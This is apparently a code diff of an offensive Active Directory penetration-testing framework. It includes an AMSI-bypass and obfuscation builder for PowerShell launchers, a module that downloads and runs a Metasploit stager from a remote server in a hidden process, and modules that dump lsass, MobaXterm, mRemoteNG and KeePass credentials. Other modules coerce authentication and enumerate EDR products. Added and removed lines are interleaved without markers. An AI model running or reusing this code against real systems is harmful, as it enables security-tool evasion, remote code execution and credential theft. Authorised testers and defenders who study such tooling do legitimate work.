command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
obfs_attempts = 0
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -309,7 +320,6 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
@@ -426,7 +436,5 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
return choice(invoke_options)
+3 -7
View File
@@ -30,7 +30,7 @@ def setup_debug_logging():
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
@@ -53,15 +53,13 @@ class SmartDebugRichHandler(RichHandler):
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -93,12 +91,10 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
+1 -1
View File
@@ -27,6 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -38,7 +39,6 @@ class NXCModule:
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
+13 -11
View File
@@ -1,8 +1,7 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import sys
class NXCModule:
"""
@@ -62,10 +61,11 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -101,10 +101,15 @@ class NXCModule:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.setRemoteHost(self.__host)
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -113,13 +118,10 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+87
View File
@@ -0,0 +1,87 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
+2 -1
View File
@@ -221,6 +221,8 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -271,7 +273,6 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
+9 -10
View File
@@ -2,7 +2,7 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
@@ -33,9 +33,9 @@ class NXCModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
@@ -95,9 +95,8 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
@@ -109,12 +108,11 @@ class TriggerAuth:
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
@@ -136,7 +134,8 @@ class TriggerAuth:
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
+6 -18
View File
@@ -5,7 +5,6 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -51,8 +50,7 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
kdcHost=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -122,7 +120,6 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -137,8 +134,7 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -151,7 +147,6 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -163,13 +158,14 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
# Connect
dce.connect()
@@ -247,14 +243,6 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
+3 -6
View File
@@ -3,7 +3,6 @@ from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
@@ -66,10 +65,10 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
pass
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -99,10 +98,8 @@ class NXCModule:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
self.module_options = None
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""Required.
+8 -4
View File
@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -198,7 +202,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
-1
View File
@@ -23,7 +23,6 @@ class NXCModule:
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
+26 -26
View File
@@ -1,5 +1,7 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -379,30 +381,28 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
+4 -13
View File
@@ -156,16 +156,7 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@@ -174,7 +165,7 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
@@ -185,9 +176,9 @@ class NXCModule:
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+22 -22
View File
@@ -27,8 +27,6 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -37,11 +35,8 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = "https"
@@ -58,19 +53,24 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
-128
View File
@@ -1,128 +0,0 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-212
View File
@@ -1,212 +0,0 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
